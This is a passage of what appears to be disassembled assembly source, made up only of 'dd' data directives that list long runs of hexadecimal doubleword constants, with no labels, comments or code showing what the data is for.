18BBBB00h, 0BFE62ADAh, 2BF63C69h dd 69B87700h, 392DF831h, 0D258D0F7h, 3F89BF3Bh, 78D41358h dd 0BE1003Fh, 0A0E98F66h, 817C9919h, 31AFF581h, 0C2C370E4h dd 5E1D6BBDh, 2029A50Ch, 449FC985h, 1BDC3h, 0F913ED03h dd 202A3582h, 0E9A0087Ch, 50804C86h, 30021EB4h, 947596E1h dd 795A818h, 7B8E6B2Dh, 90B4ED3h, 48CA682Fh, 5AD5B1DFh dd 0AE5DD57Ah, 2DEA1B85h, 927292D2h, 52FF86D5h, 0FA57123Ah dd 0AB12448Bh, 6D74BA25h, 110FC904h, 4933A6AAh, 0FBBB80B7h dd 9060DE44h, 51A94067h, 603F74BDh, 643267E2h, 985AECB7h dd 12AD0214h, 0D1F71378h, 2F37B41h, 325D6130h, 5E726034h dd 4B05CB64h, 3151C761h, 5A78D923h, 0E424AB9Ah, 608329EFh dd 0F9B59687h, 26FA2790h, 0D8769C0Ch, 12FE0C59h, 0AED1D4F4h dd 6F3B1C4Dh, 1403EAF8h, 0AF73342Eh, 0D4586A06h, 200F1835h dd 8066F538h, 31105ECAh, 8DE91822h, 0ACBF3A21h, 39D90718h dd 5F10E5CAh, 0E6D4C06Ah, 3B0DE03Fh, 2C1BB0E9h, 95828317h dd 8E7A7707h, 3BAD6824h, 989FB9Fh, 98A87149h, 0A968A39Fh dd 549D0570h, 3AE97095h, 21F84155h, 8445E099h, 0B31289B1h dd 0E202D7A9h, 185E0888h, 4CF88880h, 2D0569DEh, 5A2B0BB9h dd 178084BEh, 6888FB07h, 81555BE9h, 2C454D1Eh, 760F145Bh dd 3D1A13A4h, 0EBB83535h, 0B75CE9A0h, 0DCA03D9Ah, 9A4C5A48h dd 0DEBA259Ah, 0D0018AB6h, 0BC4F16FBh, 84E0A5CCh, 980192BCh dd 0A03B9A8Bh, 9D16419Eh, 2297DDEEh, 0D15295C8h, 2135027Dh dd 425743F7h, 5B0702D0h, 4A9AE2E9h, 0AA1AF7C7h, 0BCA27660h dd 8D6FD19Fh, 82C92CEDh, 0A80D88BCh, 1A6835Bh, 16FBB34h dd 0FD0906BAh, 0ACD631E8h, 3635E836h, 532445AAh, 7EA1C9BBh dd 5B0C33C1h, 0C5BBA22Fh, 0F5E87320h, 0C64C4h, 662E69BFh dd 6781A11Fh, 16BFF66Ah, 28F51CCBh, 25A170FEh, 99DF9868h dd 127EBD69h, 4BE78A4Ah, 4A429936h, 1D9EB75h, 19C0E93Fh dd 591E48D5h, 9D938B20h, 68C11A76h, 0A36A20C1h, 5DEA86A5h dd 120C746Ch, 9431347h, 0D957A15Ch, 20B5A645h, 0C95CBDD0h dd 247F76E9h, 0A428446Eh, 55BE4A5h, 0F0C407A3h, 0E31889Ch dd 6B806E1Eh, 68FCF5D2h, 972CE5Ah, 55DF0AE9h, 79C236F1h dd 12902249h, 3EB77594h, 0B8ED4E71h, 2CAF5F87h, 0F62E6868h dd 7D72D420h, 44E68C2h, 39EABD27h, 0F36ED11Dh, 0C10292CAh dd 501FEE9h, 446DC859h, 7655A0AAh, 0F0D7F22Ah, 49BE0015h dd 4652847Ch, 7400EE81h, 1DA83C8h, 94BBE9F3h, 4D92538h dd 0AF71721Dh, 7D48CCF4h, 606DF458h, 0BF6612F5h, 51750EBAh dd 212FB913h, 0D8E1C303h, 0E90A0F55h, 41CC0373h, 0AAF0F10Eh dd 0BCAB31F9h, 0B3F78CCAh, 3FC30AC8h, 0B24C4E97h, 16EB1064h dd 2533005h, 0F31129ABh, 65C9E84Ah, 981BA893h, 6141BBDDh dd 2CE37A84h, 1D81813Dh, 0EA17808Bh, 6C5B5DBBh, 0BED35C29h dd 80909A20h, 2FB1243Fh, 49AF8EAh, 0EF465C05h, 2DBFC236h dd 0C15A0781h, 0C18DFFE0h, 0AF3BE139h, 2511D2BAh, 0C4DDE2E9h dd 9276B568h, 0C8E0D356h, 0B8795076h, 7D3B1300h, 0B235E0D1h dd 86E4306Fh, 0B02B7FC0h, 54940B4Bh, 0D3E90804h, 0E80D30D3h dd 13EB12Dh, 53545B25h, 0DCCC056Fh, 38CCEFECh, 6F93A58h dd 16AE21Fh, 8805ACAh, 8B9577E9h, 0E730D50Dh, 2324A6B9h dd 0E1036E01h, 765634B4h, 257809D2h, 97584130h, 0EFE94917h dd 0BB5BB7BDh, 118B871Eh, 58ABC848h, 14C02823h, 19180C88h dd 4E180FEDh, 0C202FD7Dh, 0DBE9F029h, 85A6762Bh, 477464Ch dd 12136BE7h, 0B553BA0h, 73190BDh, 5E0F3C02h, 2C23268h dd 1FBB6813h, 0CB69AF62h, 0AD9CEB4Ch, 257E10F3h, 8EF1ADBFh dd 0C534958Bh, 51A10B1Dh, 0B5B1069Bh, 6737308Bh, 8C9C7D95h dd 760C542Fh, 4D98747Bh, 4F280E59h, 0EFF505ACh, 8FC7D13h dd 9474EA4Ah, 2588F7FEh, 0A716FDCBh, 999CEB5h, 572766E7h dd 0FCFCAA77h, 4545090Bh, 0ECE2AD65h, 54C2F223h, 1E031515h dd 0F6CB9E43h, 98145D0Bh, 0E152C57Dh, 2AA05BD0h, 350B0CEDh dd 700C0EC0h, 287E1B12h, 13C7C4FBh, 2EF30108h, 0CE54944Ah dd 7A60A0E0h, 601A7B2Fh, 2E6C62A3h, 0F01294Dh, 7C2873FBh dd 9786C700h, 9AB2E974h dd 3CBA01DEh, 31132367h, 4BC832D0h, 57272CFCh, 898B85D9h dd 0C5CCF5C7h, 0E89184Dh, 985BDD09h, 9A372EB4h, 50D208Eh dd 1C5C5EB0h, 0A41B2F95h, 17BBACBCh, 1279AC4Bh, 0ABA33B59h dd 2429BA5Eh, 0B5B81881h, 5C5D760Bh, 2540FAB0h, 3A729DB8h dd 4DE12952h, 8A1950FBh, 7B9FA7B2h, 77CE224h, 0BEB90409h dd 55398A95h, 847408FDh, 0E852B75Ah, 51C2322h, 3744D8C2h dd 642CFB4Ah, 677A01EAh, 0E953BA85h, 310D34D7h, 576EA39Fh dd 0A29CE154h, 8562AD3Eh, 31AF3CA5h, 81918A3Ch, 3E23CE73h dd 0B67E4187h, 923876ADh, 0A88C2480h, 0E208DE02h, 3272705Ch dd 0AC585714h, 9942E1h, 3D7758B8h, 302761F8h, 50EDF348h dd 238B117h, 8BBA08C4h, 0E4305ED0h, 25808DB1h, 375C4F1h dd 0C846C934h, 5028D4E9h, 0E3F997CBh, 0AC8CBE05h, 40D02FF7h dd 0D8B26543h, 0CC16C25Dh, 3E350960h, 4AE0251Fh, 771211C5h dd 0E2ECD1FEh, 0A3DF25Ah, 9B354668h, 4860B49Eh, 0A586A55h dd 0A443441Eh, 177009C2h, 24934DCh, 0E6770385h, 5BF5B00Eh dd 0BADED47Ah, 509892B9h, 0FB00649Ch, 2B872553h, 4BE92DE0h dd 39D2E1B9h, 60B9F89h, 0F358F468h, 42FF2A5Ah, 0B3A6E93Dh dd 0A73E7CE7h, 8AC27D88h, 12921E57h, 0E60CDE68h, 0E4E90B50h dd 0FE16D7FAh, 4FDE7920h, 7524FD05h, 0BD2EFA9Fh, 632747F1h dd 159A17D8h, 5E94620Ah, 2A7810C2h, 0C8837B95h, 80703985h dd 40BF16B7h, 11F328E7h, 8224148Bh, 7E4AC380h, 21C18B56h dd 97689855h, 4471DFFCh, 81A76B74h, 0A45F2Dh, 0A811C068h dd 81EE6497h, 883F2029h, 0F32E037Ah, 5A40803Ah, 9067B55Ch dd 73BE092Ah, 0BDA5268Ch, 5F080BEDh, 0D50139DFh, 0E9179B32h dd 54AA82FEh, 2EC9457h, 1EFDBE56h, 0FBC17A1Ch, 0EB0DACF9h dd 0E8BD4E12h, 1C955B10h, 0F39FCE89h, 0EE5AF8C9h, 5391F68Dh dd 2778E108h, 0FCA01486h, 307BB37Fh, 0F758E32Dh, 0C07E314h dd 4DE9C6FEh, 1A8F9F9h, 76AE6627h, 933D7089h, 271DBBF5h dd 9B1721Eh, 0A189F7BAh, 48140578h, 4A92E16Bh, 802EDE1h dd 0E659DD5Ah, 53BF3593h, 14C7EDD4h, 4A3DCF12h, 2D4FF5A8h dd 67A82E34h, 0A97FD2E2h, 0FE1B84A7h, 0AC5F2BB6h, 0DFAF4E43h dd 41644FC7h, 92FAD885h, 0F0575DF0h, 63D1BD4Bh, 97645550h dd 965B673Ah, 9523017h, 0EE1C38ECh, 1CFF2D32h, 9FB780C3h dd 6182AFh, 72006F31h, 490C4E35h, 6D2D0705h, 0F47B6673h dd 595FF06Fh, 89D6C5B5h, 0D8F929D7h, 0C6570D89h, 0F8B29A61h dd 9C4E5C20h, 135268F0h, 3E7B9624h, 53B8A4E4h, 812BEF5Ah dd 43F2E917h, 0F0319694h, 819C693h, 0AB7ED6F7h, 0EC403935h dd 27683560h, 9F467BA4h, 3E645CB5h, 0F8310A93h, 0E195C9F0h dd 0A06E84F1h, 89BFFD61h, 69215192h, 4B807955h, 3240EB71h dd 12465B29h, 4DEF2BE9h, 0F251D9C5h, 314B2A45h, 52775F90h dd 5D0BC632h, 219983F7h, 2C527DDDh, 50F3C7AEh, 8ABC8927h dd 7261C281h, 0B83A669Eh, 85084194h, 0B6A2E971h, 0C15C1EF9h dd 58630FA7h, 0E7EB982Ch, 0E0B4E883h, 0C3927BB1h, 39745277h dd 0F7494F9Eh, 8D985516h, 5B01DC20h, 0F0ACC55Fh, 16408A93h dd 2370268h, 48580D7Bh, 4205E5C0h, 61F2261Dh, 88DBF942h dd 488A7FABh, 4A624F7h, 0F23D1D68h, 5150C0A4h, 9D1A4BE9h dd 0E5B70AE4h, 13E90DE3h, 0D477F27Fh, 32C4CF3Bh, 7E0BD6Fh dd 4F85ACD1h, 30AA33B5h, 32685633h, 0CAC5083Bh, 473D98BFh dd 8EE75DF4h, 4827450Ch, 0AFAC0239h, 94232C9h, 464DA4C0h dd 2F2C795h, 0F747E7D1h, 527804FDh, 7766AAB0h, 7BCF265Fh dd 825964E3h, 0BBF06C07h, 6ECBFE97h, 8B3B4A9Fh, 554E89B3h dd 5220EB66h, 0D2BA0B09h, 4604DF1Bh, 9BFFCFBh, 72CD015Bh dd 0CCBA7390h, 2909BF81h, 8731EF77h, 212A95FDh, 0BF3D9C3Bh dd 6D70BE0Ch, 0C81C91Ch, 4E4026CFh, 465B7554h, 0BF28ECC8h dd 68555B90h, 0D41DE72Ah, 64971B70h, 0F1F7244Fh, 65261518h dd 73CBBC4Eh, 32EBFC4Ch, 2B481166h, 0C5665DFh, 2D54D431h dd 0D5CC3A03h, 0E8C22190h, 7342E2D1h, 67E80C81h, 6B3E0989h dd 77542A01h, 0C324E525h, 4E496920h, 0FAA75081h, 5FD60B73h dd 8B00395Ah, 210949B7h, 3D653EC0h, 622973BDh, 9E0F7CC6h dd 87909946h, 7DB0FE72h, 132A5F48h, 0A7310A47h, 0A1E85752h dd 7BDB0079h, 0E7814F5Fh, 0A5272A80h, 0EB005F67h, 0ADC8EF0Fh dd 27D3D6BFh, 0A6048BD0h, 16FC42Ch, 49D99FAh, 2ECA820Ch dd 0F72D5F02h, 48EB3FD1h, 941D391Ch, 0BBFA6270h, 5B94E009h dd 7EC53E11h, 0E672FF7Dh, 82F33084h, 906B5830h, 19BAC8C3h dd 0D58723C8h, 0C44904DEh, 4774D985h, 229ED2D8h, 0AD098C9Ah dd 35F4E37Dh, 811C2D8Ah, 0A8234CE2h, 0B103EC0Dh, 29575E30h dd 62ECFDCAh, 0B32D5B01h, 3BEDE905h, 0FE64D613h, 0D2D5A7C2h dd 0F9C55B88h, 83D0412Bh, 174EDDE8h, 110C031Fh, 11AED2Ah dd 1A1284E5h, 14010C08h, 2F65EBE9h, 0CA4EE9E3h, 55590089h dd 0A0503FBDh, 0B1E9131Ch, 0D734A3A1h, 8C4413EAh, 33093062h dd 1573705h, 0BE960B9h, 9554F9C8h, 0FD5A127Fh, 0EAFE4FD8h dd 0EFF29D5Bh, 5F356880h, 0BC2DE975h, 24475126h, 0BA06127Ch dd 0A65AEBE2h, 0C3EB250Ch, 0E821E1F0h, 687E82E3h, 3980514Eh dd 3BFBD8C1h, 106E284Ah, 42947BB0h, 0A30ED68Bh, 0E997C675h dd 272B376Ah, 68E0303Ch, 18954EA3h, 0E11BB925h, 93FCFD7Ah dd 4ADD6C21h, 0A400562h, 0BB994B58h, 445A6ACAh, 0AAD830E4h dd 247ACB99h, 8444FE75h, 29C0FA1Fh, 9D7055Bh, 2D0C7F1Ch dd 0AC38E355h, 0E942F0AAh, 6EC1B27Eh, 0FE596C04h, 0E63F24F4h dd 0B8054FE8h, 991D92B9h, 808C5B13h, 44B70153h, 0C780DFF6h dd 0ADE7CC14h, 0E925FE76h, 0A6800E63h, 0A08AF9DAh, 2D2BA11Bh dd 0E5D4FABh, 4A93618Ah, 12A564CBh, 0E943DCDEh, 6FF5DD2Eh dd 14054F6h, 82D78F2Dh, 0B8A03EB8h, 0A2CB5F01h, 275235D1h dd 0E55CDD04h, 502B20BFh, 317C0549h, 30AC512Ch, 4123A682h dd 887ED420h, 0DF2F2A3Eh, 9050D00h, 68137CAEh, 50AC5044h dd 908A5C4h, 28DFE559h, 1CE01D9h, 7CE9452Fh, 568C3ACAh dd 539408Dh, 0D1BDEBB7h, 939EA104h, 41AEC761h, 2BC66A5Eh dd 0C0BD0922h, 9160665Ch, 3034BE77h, 0E90B95B8h, 939E03B7h dd 787A0881h, 2C304661h, 66040F22h, 41B3294Dh, 3E03D135h dd 1412A7CDh, 95890DEh, 453A1C32h, 880A9FEh, 0DF781705h dd 3C5E9E28h, 0B95AF4Ah, 0B6871B4h, 369061EBh, 56C2F0DCh dd 0BB05A64h, 29654107h, 2AA7E4FFh, 9583F249h, 0B27588EAh dd 0B6126896h, 1AC10B6Dh, 8A2489E9h, 8F2B825Ch, 183E84D4h dd 6618EA71h, 0B917EEADh, 4BFB3E10h, 8519A442h, 1D9FBB5h dd 806B88BAh, 0F2A86012h, 0CA30C874h, 19E50C5Fh, 0AE2E618Ch dd 2427F0E9h, 380A5745h, 0FA5E211Ah, 0D4435204h, 0DCCE0980h dd 3B2D262Fh, 14E602ACh, 5585D5Ch, 0B5230322h, 70F408FAh dd 0A741A55Ah, 123E3F63h, 5033B62Eh, 0D50CEA48h, 0CC6B9F2Ch dd 34D961CEh, 5066C520h, 0E5800217h, 0BEC03D39h, 5153AD03h dd 98D75AF8h, 1213B286h, 6017A6E9h, 8E2E3937h, 4820055Ch dd 8A7D1219h, 498388FBh, 8EFBFE4Ah, 0A0B45E55h, 2029BA01h dd 5052DB1h, 57DA30A8h, 4FC380AFh, 52422042h, 4E12A050h dd 86D6901Eh, 2640B862h, 1276B008h, 5C07013h, 422E4F7Dh dd 9F8683Ah, 0E9E2BEF1h dd 2F5D7E78h, 86541AFFh, 0BFF73EA0h, 0D9E5DF5Ah, 0C7B560F8h dd 9EC131F7h, 26E059C2h, 25C6C22Dh, 7DB64960h, 0D6198328h dd 69124004h, 60EF019Eh, 4BF5E9FAh, 7F95BA80h, 427F3D1Ch dd 163F0C98h, 2D3ABD66h, 0CAB04A59h, 13B948Ch, 690F7EBFh dd 70FF2F3Fh, 321CE974h, 0EB533FCEh, 0D59DE206h, 409D26B4h dd 915350A2h, 10CA0CBFh, 5E775828h, 971DAC58h, 0FF0452BAh dd 45BAD752h, 0EEEAB771h, 9F13F58Ch, 218F8FD1h, 454E44F0h dd 527023FBh, 0AF2647C9h, 0B05416BBh, 236955C4h, 0A5879C97h dd 7A4BC141h, 0B921CE6h, 0ABA97AA4h, 5319D97Dh, 7A1F28C1h dd 3EC6E141h, 0F640ECDAh, 93C3295Fh, 8F660CC0h, 0F651779Eh dd 2CEF2B8Bh, 3A40580Ah, 0AFE20481h, 8051AA2Ah, 9E733005h dd 91220E6Fh, 1354ED00h, 1168AD5Ch, 0ECFF1464h, 8E4A0FECh dd 1A6E591Fh, 23F13A60h, 93FD31E6h, 0F8085EEFh, 1AD2785Ah dd 0F688BC32h, 0C9F89D99h, 17D4D757h, 5D376D62h, 47240DE7h dd 349011Ch, 0A5D2D7A2h, 1093C8CEh, 81EC2927h, 0ECB83EA0h dd 0A0894382h, 0B04E2735h, 0DFD6037h, 3159CD89h, 25E9F512h dd 6368D247h, 0E292C4D5h, 122D4BB3h, 0AC06E370h, 2BE704A3h dd 0ACEA7F4Bh, 190A1513h, 0CCA3896h, 0C233626h, 6607140Bh dd 0A429F843h, 0DDD2FB7h, 0AC7A0C92h, 394662F7h, 0F8CDAEBh dd 0AFE5E84h, 59F74367h, 6AEEEA40h, 66A44150h, 0A25B1440h dd 5F165DCAh, 0F484BEC5h, 410BF898h, 6C702090h, 7E974C17h dd 9E38BE1h, 1361E90Fh, 557C406Eh, 18D349FAh, 0BAD72CFFh dd 24397C3Dh, 0CC023803h, 892DF01Dh, 952905BBh, 0F68C07FFh dd 0E979012Ah, 7E9F255Eh, 29F472D1h, 62E1282Ah, 46E2465Bh dd 9D9F8192h, 8F3B7CC0h, 66C22650h, 5537A12h, 0B5728C68h dd 2207AF5Dh, 325F1513h, 0C3C7F9C0h, 0AF8F1269h, 5FFC2C57h dd 0E9DBF70Bh, 0EE8F0D2h, 0D3C68058h, 2865C561h, 0D6EDE1F5h dd 3A6311D7h, 0B741FE3Ah, 649D4CFAh, 5E39A500h, 0FC747775h dd 51B222C7h, 4833DDC3h, 3265960Eh, 0B3B777FEh, 0A1D4105h dd 9E852DBEh, 88BE4638h, 55264B67h, 0ED03A89Ch, 1185359h dd 443C450Ch, 44F5297Eh, 0C081AE9h, 0C05E1404h, 0A9029844h dd 90A7204Ch, 7F5D2508h, 0E9173614h, 4BF49748h, 0BE06D306h dd 9C385B0h, 28A690Eh, 0D5C58477h, 0BEFF2DB1h, 4ABEF204h dd 0FABF9537h, 0CA290B47h, 0D2C5E8D2h, 5C581213h, 0FF591CF1h dd 0B2AF77DFh, 56F4736Fh, 27F3818Eh, 0FD2B6387h, 0A8A753A4h dd 12BE5BBEh, 9DB1FA2Ah, 0F2D0F92Eh, 0FF42E9h, 206B8C1h dd 2D3C1CFBh, 0F90B49C9h, 90717EA2h, 1F01BCD4h, 1134452h dd 841C778h, 971A9720h, 608CC271h, 0BEADF82h, 692E7564h dd 0E533DF83h, 0D70167C8h, 0F99FE92Fh, 0D1146260h, 79C18303h dd 79A80F1Ch, 0C0C4C2C5h, 0FC051367h, 84E25FCAh, 99F72D7Eh dd 2BC355FEh, 60550B34h, 4759FEF3h, 0A413F42Ch, 184835B6h dd 6825024Ah, 4BF1627Ch, 95045A82h, 8DE92156h, 773F8FD4h dd 61300D40h, 0C940E938h, 15D805Ch, 0B3B3D848h, 0BCE82755h dd 0C1B6125Dh, 9D6EF147h, 0E01BEC4Fh, 514CF692h, 0D9921AEBh dd 0AF80FF39h, 3754630Ch, 2E6C117h, 2E26CE07h, 0CD7E0039h dd 986D34ADh, 0C8ED094Dh, 845737E3h, 1BC15D7Bh, 0B881FB99h dd 913FF3BFh, 5A137B2Ch, 6A0404BAh, 278E103Ah, 0E31B08F0h dd 2EC22302h, 0BC58579Dh, 2C1EC959h, 0AB1A064Eh, 4BDB6EFBh dd 314FB942h, 929F7A7Bh, 87FED755h, 60F2369Ah, 18A40507h dd 5BA3671Dh, 5E242E43h, 0D1DA30DDh, 197B368h, 0D6A56DA2h dd 9E87D60h, 1F63E95Dh, 8127D377h, 0BE2B99B9h, 14127B45h dd 781266BDh, 24CD2016h, 0FF4BC23Eh, 0C5E789D0h, 0A1A95012h dd 0F2CE3DEFh, 7F242BDCh, 2FCAF3Fh, 0CCC5895Ah, 6BE91672h dd 6AECF584h, 0E1560404h, 0A5A5BB12h, 10BCCB6Ah, 77B5BC4h dd 5A56F1F7h, 0BCD7B4C6h, 94386939h, 0A0BF7008h, 7C372319h dd 400AB0E6h, 5F71BE55h, 0B331B42Ch, 9BA83417h, 94745CE2h dd 0D1DC75FAh, 0F4139CC2h, 0BC746499h, 0EC2000AAh, 7686659h dd 662DE919h, 41DDB078h, 56EA3B44h, 2E0F0962h, 64EFF076h dd 7FE4103Dh, 0C209268Ah, 350F0B76h, 0B9138990h, 318B6409h dd 61ECF1D0h, 2FAD71E9h, 5F782EA2h, 0BED7C5A3h, 7DFBACC4h dd 0EF16445Dh, 94DD4788h, 4B680F52h, 2C41CC53h, 31988295h dd 813048C1h, 255C0FE1h, 0AB0C57D1h, 0D248F787h, 56150638h dd 95F0DA51h, 0C825AB56h, 81803BE7h, 4475205Ch, 737D469Fh dd 3E3200D3h, 538DE381h, 0CCE2DB1h, 39D2873Bh, 0B548EBC0h dd 0F0B95BDBh, 0EA4180DEh, 0A47F1F4h, 581DA211h, 49B117A4h dd 635DBD86h, 95D1D18Ah, 3E4E1824h, 16E2D636h, 6604FC10h dd 904037FCh, 6671787Dh, 0EC6105Eh, 7F36AF81h, 91BAFF00h dd 0F43FD203h, 0AB2FFB7Ch, 0BD30D22Dh, 0B1C7AB2Eh, 0A2500DB7h dd 98455EF5h, 765175Eh, 45EBC47h, 5AC40A67h, 44D69DC1h dd 8303F93Fh, 9BC50966h, 0F5940B58h, 868A0F26h, 413E3B43h dd 4FB05FBFh, 1BD6C71Eh, 2B74C90h, 5F6064AEh, 4589DDFBh dd 8869F601h, 0D920AADFh, 693A3100h, 5AA4BE73h, 0BD124CE1h dd 25950628h, 90D5FEF8h, 0B7AF745Ch, 7DCDB468h, 3A2E082h dd 2442510h, 0E9CAB87Fh, 0AED7D0B8h, 304A4909h, 0F0EE2907h dd 29DE9D19h, 1762F258h, 9F28F9C7h, 3A681C53h, 3AFD2548h dd 0CF765F1Eh, 13D89667h, 0B11DE858h, 8583187Bh, 0DC7E78C7h dd 32FF01CAh, 33B27526h, 23D89490h, 9F4CFB88h, 98C31Ch dd 0B1602841h, 0F5920Ah, 0D6BA52ADh, 2927D238h, 81C9D79Ch dd 4121EF76h, 5122DC8h, 2969B96Ah, 990D80F0h, 361774Ch dd 681BCE42h, 4B07A720h, 2B65C915h, 0E819405Dh, 0C2C64A16h dd 1D005FD9h, 199E75A9h, 13ABD397h, 0D34EBF23h, 3F12FFC3h dd 680E03CFh, 0BA124601h, 0CB65ADDAh, 11323353h, 0D2F604DCh dd 0A22C0EFEh, 76533211h, 62AC5CD1h, 5C0B94A0h, 0D7C8268h dd 0EA540CD4h, 0C21A5B49h, 948FD601h, 38E46C42h, 31783942h dd 0AB82ED9Eh, 7B6F7175h, 0EEBD0997h, 0B4018B50h, 80DCF6C3h dd 0CCCCA7E4h, 0FFD4F0ECh, 2267D7D7h, 0F458E302h, 0D8886197h dd 0D4C1CD51h, 8B7D59CAh, 0B777BE97h, 3E170DEDh, 0E00DFD85h dd 0A9859971h, 0EF18E8C1h, 42E04481h, 12F5E00Dh, 5ED0FEBCh dd 2064810Ah, 46BF02E1h, 3C23CC07h, 57955F6Bh, 8C27499h dd 90E54FE9h, 3B47F3FAh, 72651B25h, 181CF03Bh, 0E64B2A41h dd 7C302630h, 0D3932A2Eh, 2164BD9h, 80E236Ch, 819BD8FFh dd 0EA55B08h, 0D149E255h, 0D37927E9h, 1496F569h, 30506812h dd 0F5C41DEDh, 5D505A28h, 53E4CA40h, 4A05C105h, 60C6CA87h dd 3FE91208h, 21D99CDAh, 0DD61C15Ah, 416F3FCEh, 9B0AEA9Fh dd 27A92B46h, 672D6F00h, 0F968E97Ch, 0B40AD19Fh, 0FAA8C447h dd 0ABB8D8Ch, 5940343h, 52300394h, 0A6092E2Ah, 83F54F45h dd 3B6C0CD0h, 0FCA5E033h, 0BE31A405h, 2568772Ch, 0EAE63BB5h dd 501F0D4Eh, 0D1405B49h, 71108404h, 0C752C1A6h, 769B7CEFh dd 8C12E84Ah, 4CDF1FADh, 0F1653816h, 0ADE92241h, 0A4FE8754h dd 0D6400B8Ah, 0E0535B55h, 3E4B4CE1h, 3714F2B6h, 0E3855228h dd 0C769A46Dh, 58B71F3Ch, 0C9005AF0h, 0F236FEB9h, 7FFC953Bh dd 821E0350h, 9E7BE6F2h, 387C5B81h, 0BCA6CC9Eh, 0ED0E8016h dd 0AEFD289Ah, 0CC53BFC5h dd 0E119D385h, 92E08AEh, 0A78228E9h, 7E5AFCB6h, 0B0A5FCFBh dd 0E7E27D82h, 3D4214DCh, 51F3200Dh, 210A047Ch, 94154A68h dd 0F539598Bh, 4D9989CCh, 906EE5C6h, 9CDEC997h, 0DEC0084h dd 9BE96854h, 519D8104h, 0A3FB05C1h, 579269AFh, 7A121201h dd 52E3C5Eh, 6D9D9EF6h, 7121C2BAh, 0C79D8976h, 9DF14CE7h dd 2CC57248h, 294AB179h, 84066FCh, 1C9FE5Eh, 11271486h dd 6A49D1F7h, 94886CF1h, 0B53A0C25h, 81FEB915h, 0FDD0F660h dd 1CE87E27h, 60711CCBh, 7F9CFF69h, 5DD20827h, 74A28818h dd 0DDFE7E2Ch, 0FDA1E904h, 5EF08C91h, 4FBBEC7Eh, 606F14AEh dd 3BC2852Fh, 2600CD7Dh, 0AAB645F3h, 65BF0B16h, 0EA32E0CBh dd 2A317016h, 498AD900h, 38E91393h, 0EB4A1A6Ch, 263045D9h dd 0E1082753h, 0B0D9181Bh, 75162BB7h, 1CFA6616h, 0E980C184h dd 0C99D2C8Fh, 0AC4ED833h, 0A93C2F95h, 8237DEEAh, 0B578C8EEh dd 2ABBA0C1h, 0FE4B13BFh, 71123A19h, 0B476BDD8h, 34F50876h dd 20055912h, 2D8812A5h, 0DDAF4F19h, 10383985h, 573B9ABEh dd 5E87672Dh, 9D33F1B9h, 5BFC2F28h, 97D0C50h, 564E99C7h dd 0DFB0B2F8h, 75EE594Ah, 5D8AFE5h, 685F13FAh, 0E945C18Ch dd 7A2F6872h, 661EDC25h, 0BDCAB872h, 91815EDAh, 46A22A8Ch dd 4F710BD3h, 851A25B0h, 0B0AF4EB7h, 0F63A4B7Ah, 0E3FA12CFh dd 1698A6BFh, 0E809D7F6h, 0BC6B04FDh, 95058AB0h, 8EDEC529h dd 26F22F08h, 0FF1245Dh, 23B37F7Ch, 8F2E9CCh, 63355B00h dd 69A7012Bh, 4E876E2Dh, 0C8982A34h, 56C9C520h, 62D4FF68h dd 0FEF33382h, 432E01A1h, 2E422CFEh, 4416ADE8h, 4FBBF712h dd 4E8C56AFh, 0BC9275DBh, 8063C049h, 45213EBh, 87E9D4B6h dd 0F0FEA433h, 71C04417h, 0AEEEC4BBh, 0AFD3A7E9h, 0E56AEC88h dd 0D99316Ah, 21CC49C0h, 0E17D35Bh, 10204B43h, 2AA70E10h dd 78EA535Ah, 0AFB24F95h, 4807B610h, 0C89B27C2h, 95362D80h dd 552F884Dh, 2FD25F9Ch, 1CBB8BAFh, 4DA6C8E9h, 7E8BFD25h dd 5EB2A57Dh, 0E94960ABh, 65953162h, 4643095Ah, 0FCBD1814h dd 53A00282h, 0C5DD43BFh, 0FEE9454h, 135AE90Ch, 576E5EE3h dd 0DA0859h, 1A4C0EB8h, 310F0524h, 0E4261006h, 6F98A374h dd 43E460F4h, 7D085CDFh, 5BC595Ch, 57F613F9h, 85D50EBh dd 0B1B9E913h, 0D23C32B0h, 80335407h, 0EC30EA97h, 0B8E1305Ch dd 0EDB5203Eh, 594CCAE0h, 0C0C9095Dh, 0D09107E0h, 0E52C6033h dd 880FC2AFh, 0F18044C0h, 831D8D4Ah, 1CBEEA8Eh, 0FB08A3E4h dd 0E8C00327h, 2CA1FE08h, 0F608A7C6h, 1C615A8Eh, 58E7C8CCh dd 5FF05264h, 68511C16h, 247992E0h, 10F6C601h, 5CBF035Eh dd 0D23B8154h, 9A6850C9h, 0BADEBF05h, 4224F72Dh, 0AD52C489h dd 55851016h, 31139348h, 3A7F216Bh, 4FA053Fh, 0FE41EE06h dd 5C3538h, 0E5768468h, 29E9593Ah, 10D8AF56h, 0A94A64C9h dd 77680922h, 69BF4411h, 0F957D77Dh, 0E6D42F99h, 68D1616Eh dd 0A555C19h, 5AE43A41h, 0E4362218h, 0C12FD41h, 0D43AEE0Ch dd 7561650Dh, 0DB8852B5h, 8E80B810h, 60C0E14Fh, 7F1264C9h dd 0B70F3428h, 35800151h, 2422D631h, 9A3994D4h, 0E9406785h dd 4AAFFCD7h, 13978EAEh, 1A56C0E9h, 0E9FC68AEh, 5CA1095Eh dd 0BD4EB87Fh, 0AB4D856Bh, 7617AAF7h, 9528AE1Ch, 0E50F41CCh dd 2CF0C0B6h, 0B12C51E8h, 2312C809h, 0D7580D09h, 0D1318318h dd 0EBFECAE4h, 0ED2F7EB4h, 54681C9Fh, 0E9C2D972h, 92D514E3h dd 8A46FD34h, 4A9A6817h, 52DE68BBh, 0E916BA42h, 0ACA7431Fh dd 20E3F92Ch, 0D88392F3h, 2E304BC7h, 0FB989DB3h, 28E87D79h dd 0B753D809h, 0E7E70F72h, 0D34E0D0h, 0EF4182h, 5C0CF381h dd 7645E225h, 0D1C0722Eh, 92261DDAh, 0CC009A3Dh, 0E9DDCB46h dd 0A6235F93h, 0C48E41D7h, 2CC15510h, 4D5EA9EBh, 418FE920h dd 0F5D05464h, 65BA2BE1h, 39A3E164h, 0BE65D2F7h, 0FDDAD6BDh dd 627D71FFh, 3A4ADAE9h, 11450257h, 0A9D20C73h, 48133017h dd 660021C5h, 4F696718h, 76CE3F81h, 0E90A8F04h, 0D6FA88Ah dd 7D9F766h, 802C9520h, 20FBEA88h, 81609EA5h, 0EC9AC1E1h dd 0BD990235h, 44C811F6h, 7F4923D6h, 0B0FA2425h, 12242D19h dd 0B83ABC38h, 7A039285h, 145EB3A8h, 14ECDC1h, 564A74EBh dd 83B774F4h, 4E9AE850h, 0C15002F1h, 7040E0F0h, 3E9B7B97h dd 0C2124D74h, 4CD2EA4Ch, 2DE55402h, 5B5CEF7Ah, 7FC45942h dd 0EA0B2D2Bh, 